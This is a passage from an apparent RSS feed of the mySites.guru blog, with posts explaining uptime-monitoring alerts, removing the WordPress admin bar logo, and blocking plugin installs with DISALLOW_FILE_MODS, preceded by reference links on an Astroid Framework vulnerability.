&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628 on NVD&lt;/a&gt; - official vulnerability entry (CVSS 10.0 Critical)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21628&quot;&gt;CVE-2026-21628 on CVE.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid Framework 3.3.13 release&lt;/a&gt; - latest version with GSAP fix, touch navigation improvements, and dependency updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.12&quot;&gt;Astroid Framework 3.3.12 release&lt;/a&gt; - first stable patched version (fixed 3.3.11 regressions)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;Fix commit on GitHub&lt;/a&gt; - the authorization check that was missing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum thread&lt;/a&gt; - early reports of compromised Joomla 6 sites (German)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum thread&lt;/a&gt; - reports of compromised Joomla 5 sites (French)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - how Astroid, Novarain, Smart Slider 3, and Joomla core all share the same AJAX authorization failure&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hack detection</category><category>astroid</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/astroid-framework-vulnerability.DAl6lpSw.png" length="0" type="image/png"/></item><item><title>Why you&apos;re getting downtime alerts (and why they matter)</title><link>https://mysites.guru/blog/uptime-monitoring-explained/</link><guid isPermaLink="true">https://mysites.guru/blog/uptime-monitoring-explained/</guid><description>How uptime monitoring works, what triggers downtime alerts when your site seems fine, and how to monitor hundreds of sites from a single dashboard.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You&apos;ve probably had this experience: an email lands from mySites.guru telling you a site is down, you open it in your browser, and it loads perfectly. Frustrating.&lt;/p&gt;
&lt;p&gt;But think about it from the other direction. Our server tried to reach your site three separate times and couldn&apos;t. If we can&apos;t get through, there&apos;s a decent chance your visitors couldn&apos;t either during that window.&lt;/p&gt;
&lt;h2&gt;How the Monitoring Checks Run&lt;/h2&gt;
&lt;p&gt;Every 5 minutes, our &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;custom-built monitoring engine&lt;/a&gt; checks each of your connected sites. We don&apos;t fire off an alert on the first failed request. Instead, we run three checks before we tell you anything:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;We send a HEAD request to your site with a 45-second timeout. If it responds with a success code, we mark it as up and move on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the first check fails, we wait 10 seconds and send another HEAD request. This catches momentary blips like a slow database query or a brief resource spike.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the second check also fails, we wait another 10 seconds and send a full GET request. Some servers handle HEAD and GET differently, so the final check switches methods to rule that out.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We only send a downtime alert if all three checks fail.&lt;/p&gt;
&lt;p&gt;In the worst case, where each request hits the full 45-second timeout, we&apos;ve spent over two minutes trying to reach your site before alerting you. In practice, failed requests usually fail fast (connection refused, DNS error), so the whole thing takes well under a minute.&lt;/p&gt;
&lt;p&gt;When your site comes back, we pick that up on the next check cycle and send you a recovery notification.&lt;/p&gt;
&lt;h2&gt;Why do you get alerts when your site &quot;seems fine&quot;?&lt;/h2&gt;
&lt;p&gt;You check from your browser and it loads. So why are we saying it&apos;s down? There are a few common causes.&lt;/p&gt;
&lt;h3&gt;Your host is blocking our IP address&lt;/h3&gt;
&lt;p&gt;This is the most common one. Hosting providers run firewalls and intrusion detection systems (ModSecurity, Fail2Ban, Imunify360) that automatically block IP addresses making repeated requests. If your sites are &lt;a href=&quot;https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/&quot;&gt;behind a corporate firewall&lt;/a&gt;, the same thing can happen. Our monitor hits your site every 5 minutes from the same IP, and some security tools decide that&apos;s suspicious and block us.&lt;/p&gt;
&lt;p&gt;SiteGround is a specific, recurring example: its &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;Anti-Bot AI serves our worker a captcha challenge&lt;/a&gt; instead of your page, which looks exactly like a downtime from our side. If your sites are on SiteGround, that post has the exact fix.&lt;/p&gt;
&lt;p&gt;The block might be temporary, lasting a few minutes to a few hours, or permanent until someone removes it manually. If you see your site going down and coming back up in a pattern, a temporary block is almost certainly what&apos;s happening.&lt;/p&gt;
&lt;h3&gt;Your server is briefly overloaded&lt;/h3&gt;
&lt;p&gt;Servers have finite resources. During traffic spikes, heavy cron jobs, backup processes, or plugin updates, there may not be enough capacity to handle new requests for a few seconds. If our check lands during that window, all three attempts can fail.&lt;/p&gt;
&lt;p&gt;This is especially common on shared hosting where your sites compete with other customers for the same resources. A full &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk partition&lt;/a&gt; can cause the same kind of failure.&lt;/p&gt;
&lt;h3&gt;DNS resolution failures&lt;/h3&gt;
&lt;p&gt;If your domain&apos;s DNS servers are slow or temporarily unavailable, we can&apos;t resolve your domain to an IP address, and the check fails before it even reaches your server. Less common, but it happens, particularly with budget DNS providers.&lt;/p&gt;
&lt;h3&gt;SSL/TLS handshake failures&lt;/h3&gt;
&lt;p&gt;An &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expired or misconfigured SSL certificate&lt;/a&gt;, or an overloaded TLS stack, will cause the secure connection to fail before any page content gets exchanged. We treat that as a failed check.&lt;/p&gt;
&lt;h2&gt;Why you might NOT get an alert when a site briefly went down&lt;/h2&gt;
&lt;p&gt;Sometimes a server reboots or briefly chokes, and you check the dashboard expecting to see a DOWN event, and there&apos;s nothing. No email, no log entry, no record at all.&lt;/p&gt;
&lt;p&gt;That&apos;s the 5-minute cadence at work.&lt;/p&gt;
&lt;p&gt;Each site is checked once every 5 minutes. The 3-step verification (HEAD, HEAD, GET) all happens inside that single check, not across three separate checks 5 minutes apart. So if your server is unreachable for, say, 90 seconds and then comes back, two things determine whether we see it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Did our 5-minute check happen to land during that 90-second window? If not, the site was unreachable but we weren&apos;t looking at that moment, so nothing gets recorded.&lt;/li&gt;
&lt;li&gt;If the check did land in the window, did all three attempts (HEAD, HEAD, GET) fall inside it? If even one attempt got a successful response, the check passes and nothing gets recorded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a fast server reboot, the kind that finishes in 60 to 90 seconds, you can easily end up with no DOWN events recorded for any of the sites on that server, even though every site was technically unreachable for a minute. Most 5-minute checks either land before or after the reboot window, or land during it but catch a successful HEAD or GET before the window closes.&lt;/p&gt;
&lt;h3&gt;Why we don&apos;t check more often&lt;/h3&gt;
&lt;p&gt;5 minutes is a trade-off, and for an agency tool it&apos;s the right one.&lt;/p&gt;
&lt;p&gt;If you manage 500 sites across a handful of servers, a 1-minute check interval would mean:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Five times more traffic from our monitoring IP hitting your hosts&lt;/li&gt;
&lt;li&gt;Five times more chances of triggering firewalls, rate limiters, or &quot;this IP looks suspicious&quot; rules&lt;/li&gt;
&lt;li&gt;When a shared server hiccups, you get five times more emails for the same event&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most agencies don&apos;t need to know about a 60-second blip on a single site. They need to know when something stays broken: a site that won&apos;t come back, an SSL cert that&apos;s expired, a hack signature that&apos;s appeared. The 5-minute cadence catches sustained outages while keeping the noise floor low.&lt;/p&gt;
&lt;h3&gt;If you need 1-minute detection&lt;/h3&gt;
&lt;p&gt;If you have specific sites where a 60-second outage actually costs you money, run a dedicated uptime service alongside mySites.guru. Plenty of tools are built for exactly that use case and check at 1-minute or 30-second intervals. Use them for the handful of business-critical sites, and let mySites.guru handle the long tail.&lt;/p&gt;
&lt;p&gt;mySites.guru is built for agencies managing hundreds of sites where the realistic outage scenarios are server-level, not single-site. Flooding you with emails about every brief blip would be worse than the problem it&apos;s trying to flag.&lt;/p&gt;
&lt;h2&gt;When All Your Sites Go Down at Once&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites and they all show as offline at the same time, it&apos;s almost never a coincidence.&lt;/p&gt;
&lt;p&gt;When all your sites live on the same server, they share a single point of failure. If that server has a problem, every site on it goes unreachable at once. Common causes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A runaway process or traffic surge eats all available RAM and the web server stops accepting connections&lt;/li&gt;
&lt;li&gt;Heavy background tasks (backups, malware scans, bulk updates) peg the CPU so hard that nothing else gets served&lt;/li&gt;
&lt;li&gt;The server hits its maximum concurrent connections and starts rejecting new ones&lt;/li&gt;
&lt;li&gt;The server&apos;s firewall sees our IP hitting many different domains and decides we&apos;re attacking it, blocking us across the board&lt;/li&gt;
&lt;li&gt;A brief network interruption between our server and yours&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These events are usually short - 30 seconds to a couple of minutes - but our 5-minute check interval with 3-step verification means even brief outages get caught and reported.&lt;/p&gt;
&lt;p&gt;If all your sites are on one server and they all go offline together, the server is the problem. Talk to your hosting provider about the resource limits on your plan, or consider spreading sites across multiple servers so a problem on one only affects part of your portfolio.&lt;/p&gt;
&lt;h2&gt;What to Do When an Alert Fires&lt;/h2&gt;
&lt;h3&gt;1. Whitelist our monitoring IP&lt;/h3&gt;
&lt;p&gt;Start here. Ask your hosting provider to whitelist this IP address:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;code&gt;165.227.239.229&lt;/code&gt;
    
      
      
    
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Have them add it to their firewall&apos;s allow list so it never gets blocked or rate-limited. This solves the most common cause of false downtime alerts.&lt;/p&gt;
&lt;p&gt;If you manage your own server, you can do it yourself. In CSF (ConfigServer Security &amp;amp; Firewall), add the IP to &lt;code&gt;/etc/csf/csf.allow&lt;/code&gt;. In Fail2Ban, add it to the &lt;code&gt;ignoreip&lt;/code&gt; setting.&lt;/p&gt;
&lt;h3&gt;2. Check your server resources&lt;/h3&gt;
&lt;p&gt;Frequent brief downtime across multiple sites on the same server usually means the server is underpowered. Look at your memory usage, CPU load during the times alerts arrive, and disk space. Your hosting control panel usually has graphs for this, or ask their support team.&lt;/p&gt;
&lt;h3&gt;3. Spread sites across multiple servers&lt;/h3&gt;
&lt;p&gt;If you have 50+ sites on one server, splitting them across two or three servers means a problem on one only takes down part of your site portfolio. It also makes troubleshooting easier because you can see exactly which server is having issues based on which group of sites goes offline.&lt;/p&gt;
&lt;h3&gt;4. Review your security software&lt;/h3&gt;
&lt;p&gt;Check that rate-limiting thresholds on your server or security plugins aren&apos;t set too aggressively. Monitoring traffic from a known IP every 5 minutes is not an attack.&lt;/p&gt;
&lt;h3&gt;5. Look at the timing&lt;/h3&gt;
&lt;p&gt;If your alerts cluster around specific times (say, every night at 2 AM), something scheduled on your server is probably eating all available resources during that window. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups&lt;/a&gt; and bulk updates are the usual suspects - consider &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;staggering your schedules&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&quot;My webhost says your monitoring is causing high load&quot;&lt;/h2&gt;
&lt;p&gt;Every so often a customer forwards us a message from their hosting support team claiming that &lt;code&gt;165.227.239.229&lt;/code&gt; is hammering the server and causing performance problems. It isn&apos;t.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#how-do-the-monitoring-checks-work&quot;&gt;The monitoring checks work like this&lt;/a&gt;: one HEAD request per domain, every five minutes. That&apos;s 12 requests per hour, per site. A HEAD asks for response headers only, not the page body, so on a normally configured site WordPress, Joomla, PHP, and the database never run. The web server returns headers and closes the connection. There is no meaningful CPU, memory, or database cost.&lt;/p&gt;
&lt;p&gt;A single real visitor loading your homepage triggers a full GET: PHP boots, the database is queried, the theme renders, images and CSS and JavaScript are served. One visit costs hundreds of times more than a month of our HEAD checks put together.&lt;/p&gt;
&lt;h3&gt;1,000 sites on one server means 1,000 checks every 5 minutes&lt;/h3&gt;
&lt;p&gt;If you host 1,000 customer sites on a single server, we&apos;ll make 1,000 HEAD requests against that server every 5 minutes. One per domain. A support associate skimming the access log sees a thousand hits from our IP in a five-minute window and concludes we&apos;re abusing the server.&lt;/p&gt;
&lt;p&gt;We aren&apos;t. That&apos;s 1,000 &lt;em&gt;separate sites&lt;/em&gt; each receiving exactly one HEAD request every 5 minutes. Per domain, the footprint is tiny. The total only looks large because the server happens to be hosting a lot of domains, and each of those domains is paying for its own uptime monitoring.&lt;/p&gt;
&lt;p&gt;Most dedicated uptime monitoring services (UptimeRobot, Pingdom, StatusCake and the rest) run their checks every minute, not every five. So if those services are fine on this server, ours, which generates one-fifth of the traffic, should be too.&lt;/p&gt;
&lt;h3&gt;If your host really is seeing load from our IP&lt;/h3&gt;
&lt;p&gt;Two possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your homepage is heavy enough that even one request every 5 minutes is noticeable. The frequency isn&apos;t the issue then, the homepage is. Real visitors are paying that same cost far more often than we are.&lt;/li&gt;
&lt;li&gt;The host is reading access log volume and pattern-matching on the IP without checking what the requests are doing. Ask them to confirm the request method (it&apos;ll be &lt;code&gt;HEAD&lt;/code&gt;) and the response body size (it&apos;ll be 0 bytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To check for yourself, your server&apos;s access log will have entries like this from our IP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;165.227.239.229 - - [12/May/2026:09:00:00 +0000] &quot;HEAD / HTTP/1.1&quot; 200 0 &quot;-&quot; &quot;mySites.guru Uptime Monitor&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;HEAD&lt;/code&gt; method and the &lt;code&gt;0&lt;/code&gt;-byte response are the proof. Send that line to your host if they need convincing.&lt;/p&gt;
&lt;h2&gt;Why should you take the alerts seriously?&lt;/h2&gt;
&lt;p&gt;We built the monitoring engine to avoid false positives. Three checks, pauses between each, a different HTTP method on the final attempt. If we send you an alert, our server genuinely could not reach your site after multiple attempts over at least 20 seconds.&lt;/p&gt;
&lt;p&gt;If we can&apos;t reach your site, your visitors probably can&apos;t either. Each downtime alert represents a window where real visitors may have hit an error page or a timeout instead of your site.&lt;/p&gt;
&lt;p&gt;The alerts aren&apos;t the problem. They&apos;re telling you about it.&lt;/p&gt;
&lt;h2&gt;Need help?&lt;/h2&gt;
&lt;p&gt;If you&apos;re still getting frequent alerts after whitelisting our IP, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;. We can check the response codes and timing from our end to help narrow down what&apos;s going on.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the broader monitoring picture, see our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><category>downtime</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/uptime-monitoring-explained.DnGyGlms.png" length="0" type="image/png"/></item><item><title>How to Remove the WordPress Logo from the Admin Bar with One Click</title><link>https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</guid><description>The WordPress admin bar logo links to WordPress.org and identifies your CMS. Remove it in one click with mySites.guru for a white-label admin.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is the WordPress logo in the admin bar?&lt;/h2&gt;
&lt;p&gt;Every WordPress installation displays the WordPress logo in the top-left corner of the admin toolbar. Hovering over it reveals a dropdown menu linking to WordPress.org, documentation, support forums, and a feedback page.&lt;/p&gt;
&lt;p&gt;For WordPress developers and site administrators, these links are occasionally useful. For clients, content editors, and end users, they&apos;re a source of confusion and a missed branding opportunity.&lt;/p&gt;
&lt;h2&gt;Why should you remove it?&lt;/h2&gt;
&lt;h3&gt;White-label client delivery&lt;/h3&gt;
&lt;p&gt;If you build WordPress sites for clients, the admin interface is part of what you&apos;re delivering. A WordPress logo in the admin bar says &quot;this is WordPress&quot; when you might want it to say &quot;this is your website&apos;s management panel.&quot; Removing the logo is a standard white-labelling step alongside custom login pages and branded dashboard widgets. Pair it with &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; and the result is a fully branded experience from login to reporting.&lt;/p&gt;
&lt;h3&gt;Reduced confusion&lt;/h3&gt;
&lt;p&gt;Non-technical users click things. The WordPress logo menu links to WordPress.org, which is irrelevant to someone who just needs to publish a blog post or update a product listing. Removing it eliminates a distraction and keeps users focused on the tools they actually need.&lt;/p&gt;
&lt;h3&gt;Cleaner interface&lt;/h3&gt;
&lt;p&gt;Fewer controls in the admin bar reduce visual noise. It&apos;s a small thing, but it makes the admin panel feel intentional rather than out-of-the-box.&lt;/p&gt;
&lt;h3&gt;Marginal performance&lt;/h3&gt;
&lt;p&gt;The WordPress logo menu includes HTML, CSS, and JavaScript for the dropdown. Removing it saves a small amount of page weight. On individual page loads it&apos;s negligible, but across thousands of admin page views per month on a busy multi-user site, it adds up.&lt;/p&gt;
&lt;h2&gt;How do you remove it manually?&lt;/h2&gt;
&lt;p&gt;The standard approach is a function in your theme or a must-use plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;wp_before_admin_bar_render&apos;, function () {
    global $wp_admin_bar;
    $wp_admin_bar-&amp;gt;remove_menu(&apos;wp-logo&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This removes the WordPress logo node from the admin bar for all users. You can wrap it in a capability check if you want admins to still see it.&lt;/p&gt;
&lt;p&gt;The manual approach works fine for a single site. For a portfolio of sites with different themes, you&apos;d need to add this to each site&apos;s theme or create a must-use plugin for each server. That&apos;s where &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites from a single dashboard&lt;/a&gt; pays off.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle it?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit checks whether the WordPress logo is still showing in the admin bar. If it is, click fix and the connector removes it. The change survives WordPress core updates and theme switches because it&apos;s handled by the connector plugin, not theme code. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;p&gt;Want it back for development? Toggle it on again from the dashboard.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does this fit into a broader customisation workflow?&lt;/h2&gt;
&lt;p&gt;Removing the WordPress logo is often one step in a series of admin customisations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Custom login page - brand the login screen with your logo and colours&lt;/li&gt;
&lt;li&gt;Remove WordPress logo from admin bar - handled by mySites.guru&lt;/li&gt;
&lt;li&gt;Custom dashboard widgets - replace default WordPress news and events with your own content&lt;/li&gt;
&lt;li&gt;Custom admin footer - replace &quot;Thank you for creating with WordPress&quot; with your own text&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/&quot;&gt;Disable the frontend admin bar&lt;/a&gt; for non-admins - covered in the companion post&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru handles the WordPress logo removal from this list. For the others, you&apos;d typically use a white-label plugin or custom theme functions. But having the logo removal available as a one-click audit fix means one less thing to configure manually on each new site. The same one-click pattern applies to other WordPress cleanup tasks, like &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing the default Sample Page and Hello World post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Who benefits most?&lt;/h2&gt;
&lt;p&gt;Agencies delivering WordPress sites to clients, freelancers who want a polished admin experience, enterprise deployments with corporate branding requirements, and membership platforms where logged-in users see the admin bar.&lt;/p&gt;
&lt;p&gt;If you want a consistent branded admin experience across multiple WordPress sites without maintaining custom code on each one, this is an easy win. For more on managing your WordPress workflow efficiently, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>white-label</category><category>branding</category><category>customization</category><enclosure url="https://mysites.guru/_astro/remove-wordpress-logo-admin-bar.CxUwLauY.png" length="0" type="image/png"/></item><item><title>How to Stop Any Plugin Installs in WordPress Admin</title><link>https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</guid><description>Add DISALLOW_FILE_MODS to wp-config.php to block plugin and theme installs in WordPress admin. Code snippet, wp-cli usage, and how to enforce it.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why does the WordPress admin let anyone install code?&lt;/h2&gt;
&lt;p&gt;Out of the box, any WordPress administrator can install plugins and themes directly from the WordPress dashboard. They can also upload ZIP files containing arbitrary PHP code, and edit existing plugin and theme files through the built-in code editor.&lt;/p&gt;
&lt;p&gt;For a single-user blog, this is convenient. For a professionally managed site with multiple admin users, it&apos;s a gaping security hole. If an attacker has already used this to compromise your site, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here&apos;s how to confirm the hack and respond&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Consider what &quot;install a plugin&quot; really means in WordPress: it&apos;s uploading and executing arbitrary PHP code on your web server. The WordPress plugin directory has quality guidelines, but the upload functionality accepts any ZIP file - including ones downloaded from random websites, received via email, or crafted by an attacker.&lt;/p&gt;
&lt;h2&gt;What is the WordPress security case for DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;h3&gt;Compromised admin accounts&lt;/h3&gt;
&lt;p&gt;The most common WordPress hack path is a stolen or brute-forced admin password, not a zero-day exploit. Once an attacker has admin access, installing a malicious plugin is the fastest way to establish a persistent backdoor.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; enabled, even a compromised admin account can&apos;t install plugins, upload themes, or edit PHP files through the WordPress interface. The attacker still has admin access (which is bad), but they can&apos;t escalate from &quot;can manage content&quot; to &quot;can execute arbitrary code on the server.&quot;&lt;/p&gt;
&lt;h3&gt;Unauthorized installations&lt;/h3&gt;
&lt;p&gt;On sites with multiple admins - common in agencies, marketing teams, and organizations - there&apos;s always someone who wants to install &quot;just one more plugin&quot; without testing it. Maybe it&apos;s a social sharing widget, maybe it&apos;s a page builder, maybe it&apos;s something they found in a blog post.&lt;/p&gt;
&lt;p&gt;Every plugin added to a WordPress site is code that needs to be maintained, updated, and security-audited. Uncontrolled plugin installations lead to bloated, slow, vulnerable sites.&lt;/p&gt;
&lt;h3&gt;Supply chain attacks&lt;/h3&gt;
&lt;p&gt;Compromised plugins in the WordPress directory are a recurring problem. When a legitimate plugin is sold to a new developer who pushes a malicious update, sites with auto-updates enabled install the malicious version automatically. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; as a first line of defence. With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; on, even if auto-updates are enabled at the WordPress level, the file modification is blocked. If you also manage Joomla sites, be aware that &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;Joomla 5.4+ has its own automated core updates&lt;/a&gt; that should be reviewed and disabled for the same reasons.&lt;/p&gt;
&lt;h2&gt;How do you set DISALLOW_FILE_MODS manually?&lt;/h2&gt;
&lt;p&gt;Add this line to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;DISALLOW_FILE_MODS&apos;, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Removes the Plugin Editor and Theme Editor from the admin menu&lt;/li&gt;
&lt;li&gt;Hides the &quot;Add New&quot; button on the Plugins and Themes screens&lt;/li&gt;
&lt;li&gt;Blocks plugin and theme uploads through the admin&lt;/li&gt;
&lt;li&gt;Prevents automatic updates from modifying files (note: this is more aggressive than &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The manual process for multiple sites: SSH into each server, edit wp-config.php, verify the change, repeat. And keep checking that nobody has removed it.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru manage DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit reads &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; from wp-config.php on every connected site. If it&apos;s not set to &lt;code&gt;true&lt;/code&gt;, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector sets it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also view this constant across all your WordPress sites at once and toggle each one individually from the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Wordpress/wordpressconfiguration/disableplugininstaller&quot;&gt;all-sites tool view&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If the constant gets removed later (WordPress upgrade, another admin, hosting provider auto-configuration), the next snapshot catches it again. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;h2&gt;But how do I update WordPress plugins then?&lt;/h2&gt;
&lt;p&gt;If you block file modifications in the admin, how do you keep plugins and themes updated?&lt;/p&gt;
&lt;p&gt;Several options:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; - the command-line tool for WordPress isn&apos;t affected by &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. You can run &lt;code&gt;wp plugin update --all&lt;/code&gt; via SSH.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SFTP/SSH deployment&lt;/strong&gt; - upload updated plugin files directly to the server, bypassing the WordPress admin entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt; - the connector plugin operates at a level that can apply updates independently of the WordPress admin interface. You &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;manage updates from the mySites.guru dashboard&lt;/a&gt; while keeping the WordPress admin locked down. For the full workflow, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; separates two concerns that WordPress normally bundles together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Content management&lt;/strong&gt; - creating pages, writing posts, managing users (still works)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code management&lt;/strong&gt; - installing plugins, editing themes, modifying PHP files (blocked)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On a well-managed site, different people (or systems) handle these two concerns. Content editors don&apos;t need to install plugins. Plugin updates happen through a controlled process, not through the WordPress admin UI.&lt;/p&gt;
&lt;h2&gt;What about WordPress ALLOW_UNFILTERED_UPLOADS?&lt;/h2&gt;
